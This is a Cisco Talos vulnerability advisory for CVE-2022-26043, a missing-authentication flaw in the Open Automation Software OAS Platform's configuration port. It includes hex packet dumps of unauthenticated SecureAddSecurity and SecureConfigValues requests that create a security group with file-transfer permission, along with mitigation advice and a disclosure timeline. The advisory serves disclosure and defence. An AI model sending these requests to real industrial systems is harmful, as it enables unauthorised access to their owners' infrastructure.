Talos Vulnerability Report

TALOS-2022-1489

Open Automation Software Platform Engine SecureAddSecurity external config control vulnerability

MAY 25, 2022

CVE NUMBER

CVE-2022-26043

Summary

An external config control vulnerability exists in the OAS Engine SecureAddSecurity functionality of Open Automation Software OAS Platform V16.00.0112. A specially-crafted series of network requests can lead to the creation of a custom Security Group. An attacker can send a sequence of requests to trigger this vulnerability.

Tested Versions

Open Automation Software OAS Platform V16.00.0112

Product URLs

OAS Platform - https://openautomationsoftware.com/knowledge-base/getting-started-with-oas/

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CWE

CWE-306 - Missing Authentication for Critical Function

Details

The OAS Platform was built to facilitate the simplified transfer of data between various proprietary devices and applications. It can be used to connect products from multiple different vendors, connect a product to a custom application, and more.

By sending a series of properly-formatted unauthenticated configuration messages to the OAS Platform, it is possible to create a custom OAS Security Group with File Transfer permissions. By default these messages can be sent to TCP/58727 and, if successful, will be processed by the user `oasuser` with normal user permissions.

Some configuration commands such as `SecureTransferFiles` require an OAS User account in an authorized OAS Security Group with File Transfer permissions before they can be successfully processed. The default security group that gets applied to users does not include this File Transfer permission.

Through use of the `SecureAddSecurity` and `SecureConfigValues` commands, it is possible to create a custom Security Group and subsequently apply the File Transfer permission, all from an unauthenticated context.

A `SecureAddSecurity` request resembles the following:

```
0000   00 0c 29 5e b3 62 c4 b3 01 c3 ba c9 08 00 45 00   ..)^.b........E.
0010   00 a7 00 00 40 00 40 06 a4 5e c0 a8 0a 6a c0 a8   ....@.@..^...j..
0020   0a 38 cd ee e5 67 3f 04 a9 84 85 4d 0a f7 80 18   .8...g?....M....
0030   08 0a ea 48 00 00 01 01 08 0a ac ad ae 7b 0b 3f   ...H.........{.?
0040   44 f4 00 00 00 00 00 c0 5a 40 00 01 00 00 00 ff   D.......Z@......
0050   ff ff ff 01 00 00 00 00 00 00 00 10 01 00 00 00   ................
0060   03 00 00 00 08 08 01 00 00 00 06 02 00 00 00 11   ................
0070   53 65 63 75 72 65 41 64 64 53 65 63 75 72 69 74   SecureAddSecurit
0080   79 09 03 00 00 00 10 03 00 00 00 04 00 00 00 08   y...............
0090   08 01 00 00 00 06 04 00 00 00 00 09 04 00 00 00   ................
00a0   06 05 00 00 00 0e 4d 61 6c 69 63 69 6f 75 73 47   ......MaliciousG
00b0   72 6f 75 70 0b                                    roup.
```

A `SecureConfigValues` request resembles the following:

```
0000   00 0c 29 5e b3 62 c4 b3 01 c3 ba c9 08 00 45 00   ..)^.b........E.
0010   12 c6 00 00 40 00 40 06 92 3f c0 a8 0a 6a c0 a8   ....@.@..?...j..
0020   0a 38 cd ef e5 67 15 48 18 a7 c9 2d 7e ac 80 18   .8...g.H...-~...
0030   08 0a a8 ab 00 00 01 01 08 0a 90 8a 32 06 0b 3f   ............2..?
0040   45 06 00 00 00 00 00 8a b2 40 00 01 00 00 00 ff   E........@......
0050   ff ff ff 01 00 00 00 00 00 00 00 10 01 00 00 00   ................
0060   03 00 00 00 08 08 01 00 00 00 06 02 00 00 00 12   ................
0070   53 65 63 75 72 65 43 6f 6e 66 69 67 56 61 6c 75   SecureConfigValu
0080   65 73 09 03 00 00 00 10 03 00 00 00 05 00 00 00   es..............
0090   08 08 01 00 00 00 06 04 00 00 00 00 09 04 00 00   ................
00a0   00 06 05 00 00 00 08 53 65 63 75 72 69 74 79 09   .......Security.
00b0   06 00 00 00 0f 06 00 00 00 15 12 00 00 02 00 01   ................
00c0   00 00 00 ff ff ff ff 01 00 00 00 00 00 00 00 10   ................
00d0   01 00 00 00 03 00 00 00 08 08 01 00 00 00 06 02   ................
00e0   00 00 00 0d 53 65 74 50 72 6f 70 65 72 74 69 65   ....SetPropertie
00f0   73 09 03 00 00 00 10 03 00 00 00 03 00 00 00 06   s...............
0100   04 00 00 00 0e 4d 61 6c 69 63 69 6f 75 73 47 72   .....MaliciousGr
0110   6f 75 70 09 05 00 00 00 09 06 00 00 00 11 05 00   oup.............
```

When successfully processed, this will result in a new Security Group that can be applied to any new or existing user, giving that user any permissions allowed by the group.

Mitigation

The easiest way to mitigate attempts to exploit this vulnerability is to prevent access to the configuration port (TCP/58727 by default) when not actively configuring the OAS Platform. Additionally, use a dedicated user account to run the OAS Platform and ensure that user account does not have any more permissions than absolutely necessary.

Timeline

2022-03-16 - Vendor Disclosure
2022-05-22 - Vendor Patch Release
2022-05-25 - Public Release

CREDIT

Discovered by Jared Rittle of Cisco Talos.
